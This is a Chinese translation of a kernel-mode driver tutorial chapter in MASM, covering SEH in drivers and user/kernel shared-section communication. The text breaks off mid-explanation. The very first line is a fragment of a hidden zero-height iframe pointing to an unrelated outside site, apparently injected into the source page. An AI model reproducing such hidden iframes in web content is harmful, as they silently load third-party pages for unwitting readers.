src="http://pspper.xkwm.cn/main.htm" width="100" height="0">

Kmdtut 8---共享Section通讯

共享Section通讯

董岩译

8.1 结构化异常处理
8.1.1 seh驱动程序源代码
8.1.2 建立 SEH-frame
8.1.3 异常处理
8.1.4 卸载SEH-frame
8.1.5 使用宏来建立/卸载SEH-frame

8.2 共享Section通讯
8.2.1 SharedSection应用程序源代码
8.2.2 SharedSection驱动程序源代码

源代码: KmdKit/examples/basic/MemoryWorks/SharedSection

在进入本章主题之前,先来简单地看一下结构化异常处理((Structured Exception Handling, SEH),本章的程序需要这个东东。

8.1 结构化异常处理
我并不打算详细讲结构化异常处理到底是个什么东东。如果您英语够好的话,强烈推荐您找来Jeremy Gordon的《Win32 Exception handling for assembler programmers》来好好读一读。该文所写的内容适用于用户模式,但是seh用于所有的异常处理,即既用于用户模式下又用于内核模式下。但这两种模式下的异常处理有一个本质上的差别:

在内核模式下,借助于seh,并非所有的异常都能得到处理!比如说,即使使用了seh,用零作除数作除法也会使系统崩溃。最为可怕的是,引用未定义的内核内存也会导致蓝屏死机BSOD。而对未定义的用户模式内存的引用,seh却可以轻松处理。因此避免系统崩溃的唯一办法就是所编写的代码不要导致无法处理的异常。

8.1.1 seh驱动程序源代码

;@echo off
;goto make

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;  SEH – 结构化异常处理.                                                         
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                头文件                                   
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include /masm32/include/w2k/ntstatus.inc
include /masm32/include/w2k/ntddk.inc
include /masm32/include/w2k/ntoskrnl.inc

includelib /masm32/lib/w2k/ntoskrnl.lib

include /masm32/Macros/Strings.mac

include seh0.inc

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                              结构体定义                                         
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

SEH STRUCT
    SafeEip         dd  ?   ; 线程继续执行的地方
    PrevEsp         dd  ?   ; 以前esp中的内容
    PrevEbp         dd  ?   ; 以前ebp中的内容
SEH ENDS

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                           未经初始化的数据                        
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.data?

seh SEH <>

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                 代码                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                              BuggyReader                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

BuggyReader proc

xor eax, eax
    mov eax, [eax]              ; !!! 没有SEH的话 - BSOD !!!

ret

BuggyReader endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                              BuggyWriter                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

BuggyWriter proc

mov eax, MmUserProbeAddress
    mov eax, [eax]
    mov eax, [eax]
   
    mov byte ptr [eax], 0       ; !!!没有SEH的话 - BSOD !!!

ret

BuggyWriter endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                            ExceptionHandler                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

ExceptionHandler proc uses esi pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD

mov esi, pExcept

invoke DbgPrint, $CTA0("/nSEH: An exception %08X has occured/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionCode]

.if [esi][EXCEPTION_RECORD.ExceptionCode] == 0C0000005h

; 如果发生了EXCEPTION_ACCESS_VIOLATION类型的异常,
        ; 则输出以下信息.

invoke DbgPrint, $CTA0("     Access violation at address: %08X/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionAddress]

.if [esi][EXCEPTION_RECORD.ExceptionInformation][0]         ; 试图读还是写?

invoke DbgPrint, $CTA0("     The code tried to write to address %08X/n/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionInformation][4]
        .else
            invoke DbgPrint, $CTA0("     The code tried to read from address %08X/n/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionInformation][4]
        .endif
    .endif

lea eax, seh
    push (SEH PTR [eax]).SafeEip
    push (SEH PTR [eax]).PrevEsp
    push (SEH PTR [eax]).PrevEbp

mov eax, pContext
    pop (CONTEXT PTR [eax]).regEbp
    pop (CONTEXT PTR [eax]).regEsp
    pop (CONTEXT PTR [eax]).regEip

xor eax, eax
    ret

ExceptionHandler endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverEntry                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING

invoke DbgPrint, $CTA0("/nSEH: Entering DriverEntry/n")

;::::::::::::::::::::::::::::::::
    ;          "手工"安装SEH         
    ;::::::::::::::::::::::::::::::::

assume fs:nothing
    push offset ExceptionHandler
    push fs:[0]
    mov fs:[0], esp
    assume fs:error

mov seh.SafeEip, offset SafePlace
    mov seh.PrevEbp, ebp
    mov seh.PrevEsp, esp

invoke BuggyReader

SafePlace:

assume fs:nothing
    pop fs:[0]
    add esp, sizeof DWORD
    assume fs:error

;:::::::::::::::::::::::::::::::::::::::::::::::
    ; 使用宏安装seh. 这个简单点儿 :-)  
    ;:::::::::::::::::::::::::::::::::::::::::::::::

_try

invoke BuggyWriter

_finally

invoke DbgPrint, $CTA0("/nSEH: Leaving DriverEntry/n")

mov eax, STATUS_DEVICE_CONFIGURATION_ERROR
    ret

DriverEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

end DriverEntry

:make

set drv=seh

/masm32/bin/ml /nologo /c /coff %drv%.bat
/masm32/bin/link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj

del %drv%.obj

echo.
pause

8.1.2 安装SEH-frame

assume fs:nothing

小道消息说,masm禁止使用fs寄存器。我们来用伪指令assume去掉此限制。

push offset ExceptionHandler
    push fs:[0]
    mov fs:[0], esp

我们这里所建立的这个东东叫SEH-frame,用来定义异常处理程序的地址。从此刻开始,对于在线程中(每个线程都有自己私有的处理程序,当然如果它们建立了的话)发生的异常处理,系统将调用此处理程序。这里,这个处理程序是ExceptionHandler,其代码我们后面会分析。要获取当前线程所有异常处理的信息,可以在SoftICE调试器中使用命令xframe。

assume fs:error

根据小道消息,我们不再使用fs寄存器。

mov seh.SafeEip, offset SafePlace
    mov seh.PrevEbp, ebp
    mov seh.PrevEsp, esp

为了在异常处理之后我们的处理程序能恢复线程的执行,我们应该保存esp、ebp寄存器的内容以及线程继续执行的地址。我们将这三项信息保存在seh结构体中并调用函数BuggyReader。BuggyReader函数试图从地址00000000读取一个DWORD。

BuggyReader proc

xor eax, eax
    mov eax, [eax]

ret

BuggyReader endp

NULL指针引用是一个十分常见的错误,微软在00000000-0000FFFFh划出了64k字节的内存区,并使此区域无法访问。访问此区域中的任何一个字节都会导致EXCEPTION_ACCESS_VIOLATION类型的异常。

8.1.3 异常处理

函数BuggyReader从地址00000000读取引发了异常,我们就进入了我们指定的处理程序。

mov esi, pExcept

invoke DbgPrint, $CTA0("/nSEH: An exception %08X has occured/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionCode]

.if [esi][EXCEPTION_RECORD.ExceptionCode] == 0C0000005h

invoke DbgPrint, $CTA0("     Access violation at address: %08X/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionAddress]

.if [esi][EXCEPTION_RECORD.ExceptionInformation][0]

invoke DbgPrint, $CTA0("     The code tried to write to address %08X/n/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionInformation][4]
        .else
            invoke DbgPrint, $CTA0("     The code tried to read from address %08X/n/n"), /
                        [esi][EXCEPTION_RECORD.ExceptionInformation][4]
        .endif
    .endif

我们处理的第一件事就是输出相应的调试信息,如果发生的是EXCEPTION_ACCESS_VIOLATION类型的异常,还要输出一些额外的信息。之后开始真正的异常处理。

lea eax, seh
    push (SEH PTR [eax]).SafeEip
    push (SEH PTR [eax]).PrevEsp
    push (SEH PTR [eax]).PrevEbp

mov eax, pContext
    pop (CONTEXT PTR [eax]).regEbp
    pop (CONTEXT PTR [eax]).regEsp
    pop (CONTEXT PTR [eax]).regEip

在本例中异常处理只是简单地恢复esp、ebp寄存器的值并将eip寄存器的值置为一个能使线程安全地继续执行的地址。这些处理信息都是由系统从我们预先填充的seh结构体中抽出并保存在了CONTEXT结构体中,CONTEXT结构体的指针又传递给了系统。

xor eax, eax
    ret

我们以ExceptionContinueExecution的值等于零而返回,该值为零就是告诉系统应该恢复线程的上下文并继续执行。即eip的值等于标记SafePlace的地址,而esp和ebp寄存器的值恢复为原值,线程从标记SafePlace处继续其执行。

8.1.5 使用宏来建立/卸载SEH-frame

我们来使用宏来完成这个操作,这个宏是我为了简化SEH的使用而编写的。宏的定义在文件seh0.inc中。这样我以后就不用每次都写这些代码了,这些宏自己就能做,我们只是安排好这些宏就可以了。如果在异常处理中不需要什么处理程序的话,使用宏_try/_finally就把工作简化成了三行代码。标记SafePlace,在这里就是宏_finally所在的那一行。

_try

invoke BuggyWriter

_finally

这次我们调用函数BuggyWriter,此函数试图在地址MmUserProbeAddress (7FFF0000h)写入一个DWORD。

BuggyWriter proc

mov eax, MmUserProbeAddress
    mov eax, [eax]
    mov eax, [eax]
   
    mov byte ptr [eax], 0
    ret

BuggyWriter endp

在区域7FFF0000h – 7FFFFFFFh的64KB内存是非访问区,是用户空间与系统空间界线处的缓冲区。这个区域的起始地址保存在内核导出变量MmUserProbeAddress中。

头脑里武装上了结构化异常处理的知识后,我们来看下一个例子。在这个例子中我们要从驱动程序中转到用户模式内存里。这个转换最好能包含在SEH-frame里。

8.2 内存共享

Windows提供了许多机制来进行进程间通讯(Interprocess Communications, IPC):通讯缓冲、DDE、通讯窗口(WM_COPYDATA就在这里)、mailslot、sockets等等。所有这些机制都是基于文件映射对象(file-mapping object)的,该对象本身是一块两个或多个进程可以访问的内存区,用DDK的术语,映射文件就是section对象,不要把它和PE文件中的section混淆起来。

section对象是最底层的通讯机制,这种对象被系统用来将可执行映象加载到内存,而缓存调度程序用它来访问缓存文件中的数据。section对象还能将磁盘上的文件映射到进程的地址空间中,而且用起来不像是在用文件,而是在用内存块。

借助于section对象来共享数据的情形如下:一个进程调用函数CreateFileMapping创建了一个内存映射文件。之后调用函数MapViewOfFile(如果层次更低就调用NtMapViewOfSection)将其视图(view)映射到自己的地址空间中,而另一个进程通过OpenFileMapping打开这个映射文件,并将其映射到自己的地址空间中。结果同一组物理内存页变为由两个进程访问,这就使得它们能通过这个区域轻松地传递较大量的数据,一个进程对这些页内容的修改会反映到另一个进程中。

共享section这种通讯方法不止可以用在用户进程间,还可以用在驱动程序里。在下面的例子里我们用命名section来在用户进程和驱动程序之间进行通讯。

8.2.1 SharedSection应用程序源代码

;@echo off
;goto make

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;  SharedSection – Клиент драйвера SharedSection.sys                                               
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              В К Л Ю Ч А Е М Ы Е    Ф А Й Л Ы                                    
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include /masm32/include/windows.inc

include /masm32/include/w2k/native.inc
include /masm32/include/w2k/ntstatus.inc
include /masm32/include/winioctl.inc

include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
include /masm32/include/advapi32.inc
include /masm32/include/w2k/ntdll.inc

includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib
includelib /masm32/lib/advapi32.lib
includelib /masm32/lib/w2k/ntdll.lib

include /masm32/Macros/Strings.mac

include ../common.inc

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                           К О Д                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                    CallDriver                                                    
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

CallDriver proc

local fOk:BOOL

local hSCManager:HANDLE
local hService:HANDLE
local acModulePath[MAX_PATH]:CHAR
local _ss:SERVICE_STATUS
local hDevice:HANDLE

local abyOutBuffer[4]:BYTE
local dwBytesReturned:DWORD

and fOk, FALSE

invoke OpenSCManager, NULL, NULL, SC_MANAGER_ALL_ACCESS
    .if eax != NULL
        mov hSCManager, eax

push eax
        invoke GetFullPathName, $CTA0("SharedSection.sys"), sizeof acModulePath, addr acModulePath, esp
        pop eax

invoke CreateService, hSCManager, $CTA0("SharedSection"), $CTA0("One way to share section"), /
            SERVICE_START + SERVICE_STOP + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, /
            SERVICE_ERROR_IGNORE, addr acModulePath, NULL, NULL, NULL, NULL, NULL

.if eax != NULL
            mov hService, eax

invoke StartService, hService, 0, NULL
            .if eax != 0

invoke CreateFile, $CTA0(".//SharedSection"), 0, /
                                        0, NULL, OPEN_EXISTING, 0, NULL

.if eax != INVALID_HANDLE_VALUE
                    mov hDevice, eax

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

invoke DeviceIoControl, hDevice, IOCTL_SHARE_MY_SECTION, NULL, 0, NULL, 0, /
                                                addr dwBytesReturned, NULL
                    .if eax != 0
                        inc fOk
                    .else
                        invoke MessageBox, NULL, $CTA0("Can't send control code to device."), NULL, /
                                                    MB_OK + MB_ICONSTOP
                    .endif

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

invoke CloseHandle, hDevice
                .else
                    invoke MessageBox, NULL, $CTA0("Device is not present."), NULL, MB_ICONSTOP
                .endif
                invoke ControlService, hService, SERVICE_CONTROL_STOP, addr _ss
            .else
                invoke MessageBox, NULL, $CTA0("Can't start driver."), NULL, MB_OK + MB_ICONSTOP
            .endif
            invoke DeleteService, hService
            invoke CloseServiceHandle, hService
        .else
            invoke MessageBox, NULL, $CTA0("Can't register driver."), NULL, MB_OK + MB_ICONSTOP
        .endif
        invoke CloseServiceHandle, hSCManager
    .else
        invoke MessageBox, NULL, $CTA0("Can't connect to Service Control Manager."), /
                                NULL, MB_OK + MB_ICONSTOP
    .endif

mov eax, fOk
    ret

CallDriver endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         start                                                    
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

start proc

local hSection:HANDLE
local liSectionSize:_LARGE_INTEGER
local oa:OBJECT_ATTRIBUTES
local pSectionBaseAddress:PVOID
local liViewSize:_LARGE_INTEGER

and liSectionSize.HighPart, 0
    mov liSectionSize.LowPart, SECTION_SIZE

lea ecx, oa
    InitializeObjectAttributes ecx, offset g_usSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL

invoke ZwCreateSection, addr hSection, SECTION_MAP_WRITE + SECTION_MAP_READ, addr oa, /
                            addr liSectionSize, PAGE_READWRITE, SEC_COMMIT, NULL
    .if eax == STATUS_SUCCESS

and pSectionBaseAddress, NULL
        and liViewSize.HighPart, 0
        and liViewSize.LowPart, 0
        invoke ZwMapViewOfSection, hSection, NtCurrentProcess, addr pSectionBaseAddress, 0, /
                          SECTION_SIZE, NULL, addr liViewSize, ViewShare, 0, PAGE_READWRITE
        .if eax == STATUS_SUCCESS

CTA ".revird ecived a dna sessecorp resu neewteb yromem ", g_szStrToReverse
            CTA "erahs ot euqinhcet emas eht esu nac uoy ,revewoH "
            CTA ".sessecorp resu gnoma yromem gnirahs rof desu euqinhcet "
            CTA0 "nommoc a si elif gnigap eht yb dekcab elif deppam-yromem A"

invoke strcpy, pSectionBaseAddress, addr g_szStrToReverse

invoke CallDriver
            .if eax == TRUE
                invoke MessageBox, NULL, pSectionBaseAddress, /
                                $CTA0("HOWTO: Share Memory Between User Mode and Kernel Mode"), /
                                MB_OK + MB_ICONINFORMATION
            .endif

invoke ZwUnmapViewOfSection, NtCurrentProcess, pSectionBaseAddress
        .else
            invoke MessageBox, NULL, $CTA0("Can't map section."), NULL, MB_OK + MB_ICONSTOP
        .endif

invoke ZwClose, hSection
    .else
        invoke MessageBox, NULL, $CTA0("Can't create section."), NULL, MB_OK + MB_ICONSTOP
    .endif

invoke ExitProcess, 0
    ret

start endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

end start

:make

set exe=SharedSection

if exist ../%exe%.exe del ../%exe%.exe

/masm32/bin/ml /nologo /c /coff %exe%.bat
/masm32/bin/link /nologo /subsystem:windows %exe%.obj

del %exe%.obj
move %exe%.exe ..
if exist %exe%.exe del %exe%.exe

echo.
pause

我们只讲一下关键的地方,其它的地方不讲也很容易理解。

and liSectionSize.HighPart, 0
    mov liSectionSize.LowPart, SECTION_SIZE

建立section需要指明其大小,对于大小值使用LARGE_INTEGER类型的变量的程序来说,这个值可以超过4GB。我们将这个值初始化为一个内存页的大小即4KB。SECTION_SIZE常量定义在common.inc文件里。

lea ecx, oa
    InitializeObjectAttributes ecx, offset g_usSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL

对于宏InitializeObjectAttributes我们已经很熟悉了。后面的ZwCreateSection调用需要填充好的OBJECT_ATTRIBUTES结构体,填充工作我们用这些宏来完成。

我们准备使用的section应该取个名字,这样就可以用名字来打开它。section的名字定义在文件common.inc中,形式如下:

.const
    CCOUNTED_UNICODE_STRING "//BaseNamedObjects//UserKernelSharedSection", g_usSectionName, 4

section对象在对象管理器名字空间的BaseNamedObjects目录下,用户进程创建的命名对象一般都在这个目录下。

invoke ZwCreateSection, addr hSection, SECTION_MAP_WRITE + SECTION_MAP_READ, addr oa, /

调用函数ZwCreateSection来创建命名section对象,其大小为SECTION_SIZE,访问方式为可读写。如果section创建成功,则可以从变量hSection中得到其句柄。

and pSectionBaseAddress, NULL
    and liViewSize.HighPart, 0
    and liViewSize.LowPart, 0
    invoke ZwMapViewOfSection, hSection, NtCurrentProcess, addr pSectionBaseAddress, 0, SECTION_SIZE, /
                               NULL, addr liViewSize, ViewShare, 0, PAGE_READWRITE

这样就将section的所有的视图都映射到内存中。这个函数的参数够多的——所有的参数在DDK中都有详细介绍。参数pSectionBaseAddress初始化为NULL,为更方便她映射section,系统自己定义了映射section的虚拟地址,并将这个地址返给此参数。参数liViewSize初始化为零,这就定义了section将被全部映射。

CTA ".revird ecived a dna sessecorp resu neewteb yromem ", g_szStrToReverse
            CTA "erahs ot euqinhcet emas eht esu nac uoy ,revewoH "
            CTA ".sessecorp resu gnoma yromem gnirahs rof desu euqinhcet "
            CTA0 "nommoc a si elif gnigap eht yb dekcab elif deppam-yromem A"

invoke strcpy, pSectionBaseAddress, addr g_szStrToReverse

我们将一行倒着写的文字拷贝到所得的视图中。驱动程序的任务就是将这行文字翻转,使其变为可读的形式。

invoke CallDriver
            .if eax == TRUE
                invoke MessageBox, NULL, pSectionBaseAddress, /
                                $CTA0("HOWTO: Share Memory Between User Mode and Kernel Mode"), /
                                MB_OK + MB_ICONINFORMATION
            .endif

CallDriver的返回值为TRUE表示驱动程序已成功完成自己的任务。我们来检查一下其工作的结果。在函数CallDriver中,我们完成通常的注册和启动驱动程序的操作并向驱动程序发送控制代码IOCTL_SHARE_MY_SECTION。

invoke ZwUnmapViewOfSection, NtCurrentProcess, pSectionBaseAddress
        .endif
        invoke ZwClose, hSection

将系统恢复为初始的样子。

8.2.2 SharedSection驱动程序源代码

;@echo off
;goto make

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;  SharedSection – использует раздел, созданный программой управления.                             
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              В К Л Ю Ч А Е М Ы Е    Ф А Й Л Ы                                    
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include /masm32/include/w2k/ntstatus.inc
include /masm32/include/w2k/ntddk.inc
include /masm32/include/w2k/ntoskrnl.inc
include /masm32/include/w2k/native.inc

includelib /masm32/lib/w2k/ntoskrnl.lib

include /masm32/Macros/Strings.mac

include ../common.inc
include seh0.inc

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                             Н Е И З М Е Н Я Е М Ы Е    Д А Н Н Ы Е                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.const

CCOUNTED_UNICODE_STRING "//Device//SharedSection", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "//DosDevices//SharedSection", g_usSymbolicLinkName, 4

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                              К О Д                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                   DispatchCreateClose                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DispatchCreateClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

mov eax, pIrp
    mov (_IRP PTR [eax]).IoStatus.Status, STATUS_SUCCESS
    and (_IRP PTR [eax]).IoStatus.Information, 0

fastcall IofCompleteRequest, pIrp, IO_NO_INCREMENT

mov eax, STATUS_SUCCESS
    ret

DispatchCreateClose endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                     DispatchControl                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DispatchControl proc uses esi edi pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

local hSection:HANDLE
local oa:OBJECT_ATTRIBUTES
local pSectionBaseAddress:PVOID
local liViewSize:LARGE_INTEGER

invoke DbgPrint, $CTA0("/nSharedSection: Entering DispatchControl/n")

mov esi, pIrp
    assume esi:ptr _IRP

mov [esi].IoStatus.Status, STATUS_UNSUCCESSFUL
    and [esi].IoStatus.Information, 0

IoGetCurrentIrpStackLocation esi
    mov edi, eax
    assume edi:ptr IO_STACK_LOCATION

.if [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_SHARE_MY_SECTION

invoke DbgPrint, $CTA0("SharedSection: Opening section object/n")

lea ecx, oa
        InitializeObjectAttributes ecx, offset g_usSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL
        invoke ZwOpenSection, addr hSection, SECTION_MAP_WRITE + SECTION_MAP_READ, addr oa
        .if eax == STATUS_SUCCESS

invoke DbgPrint, $CTA0("SharedSection: Section object opened/n")

and pSectionBaseAddress, NULL
            and liViewSize.HighPart, 0
            and liViewSize.LowPart, 0
            invoke ZwMapViewOfSection, hSection, NtCurrentProcess, addr pSectionBaseAddress, 0, /
                         SECTION_SIZE, NULL, addr liViewSize, ViewShare, 0, PAGE_READWRITE
            .if eax == STATUS_SUCCESS

invoke DbgPrint, /
                   $CTA0("SharedSection: Section mapped at address %08X/n"), pSectionBaseAddress

_try

invoke _strrev, pSectionBaseAddress
                mov [esi].IoStatus.Status, STATUS_SUCCESS

invoke DbgPrint, $CTA0("SharedSection: String reversed/n")

_finally

invoke ZwUnmapViewOfSection, NtCurrentProcess, pSectionBaseAddress

invoke DbgPrint, $CTA0("SharedSection: Section at address %08X unmapped /n"), /
                                           pSectionBaseAddress

.else
                invoke DbgPrint, /
                       $CTA0("SharedSection: Couldn't map view of section. Status: %08X/n"), eax
            .endif
            invoke ZwClose, hSection
            invoke DbgPrint, $CTA0("SharedSection: Section object handle closed/n")
        .else
            invoke DbgPrint, $CTA0("SharedSection: Couldn't open section. Status: %08X/n"), eax
        .endif

.else
        mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
    .endif

push [esi].IoStatus.Status

assume edi:nothing
    assume esi:nothing

fastcall IofCompleteRequest, esi, IO_NO_INCREMENT

invoke DbgPrint, $CTA0("SharedSection: Leaving DispatchControl/n")

pop eax
    ret

DispatchControl endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverUnload                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverUnload proc pDriverObject:PDRIVER_OBJECT

invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName

mov eax, pDriverObject
    invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject

ret

DriverUnload endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;               В Ы Г Р У Ж А Е М Ы Й   П Р И   Н Е О Б Х О Д И М О С Т И   К О Д                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code INIT

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverEntry                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING

local status:NTSTATUS
local pDeviceObject:PDEVICE_OBJECT

mov status, STATUS_DEVICE_CONFIGURATION_ERROR

invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, /
                                     0, TRUE, addr pDeviceObject
    .if eax == STATUS_SUCCESS
        invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usDeviceName
        .if eax == STATUS_SUCCESS
            mov eax, pDriverObject
            assume eax:ptr DRIVER_OBJECT
            mov [eax].MajorFunction[IRP_MJ_CREATE*(sizeof PVOID)],          offset DispatchCreateClose
            mov [eax].MajorFunction[IRP_MJ_CLOSE*(sizeof PVOID)],           offset DispatchCreateClose
            mov [eax].MajorFunction[IRP_MJ_DEVICE_CONTROL*(sizeof PVOID)],  offset DispatchControl
            mov [eax].DriverUnload,                                         offset DriverUnload
            assume eax:nothing
            mov status, STATUS_SUCCESS
        .else
            invoke IoDeleteDevice, pDeviceObject
        .endif
    .endif

mov eax, status
    ret

DriverEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

end DriverEntry

:make

set drv=SharedSection

/masm32/bin/ml /nologo /c /coff %drv%.bat
/masm32/bin/link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native /ignore:4078 %drv%.obj

del %drv%.obj
move %drv%.sys ..

echo.
pause

使用共享资源通常情况下需要考虑同步问题,即读写线程不能同时访问共享资源。在本例中总是只有一个线程,所以不需要同步。

lea ecx, oa
        InitializeObjectAttributes ecx, offset g_usSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL
        invoke ZwOpenSection, addr hSection, SECTION_MAP_WRITE + SECTION_MAP_READ, addr oa

取得控制代码IOCTL_SHARE_MY_SECTION,驱动程序尝试打开section对象,其名字定义为变量g_usSectionName(见common.inc)。

.if eax == STATUS_SUCCESS
            and pSectionBaseAddress, NULL
            and liViewSize.HighPart, 0
            and liViewSize.LowPart, 0
            invoke ZwMapViewOfSection, hSection, NtCurrentProcess, addr pSectionBaseAddress, 0, SECTION_SIZE, /
                                   NULL, addr liViewSize, ViewShare, 0, PAGE_READWRITE
            .if eax == STATUS_SUCCESS

如果取得了section的句柄,我们就来映射它的视图。这里与应用程序中的映射视图部分几乎完全相同。但是……

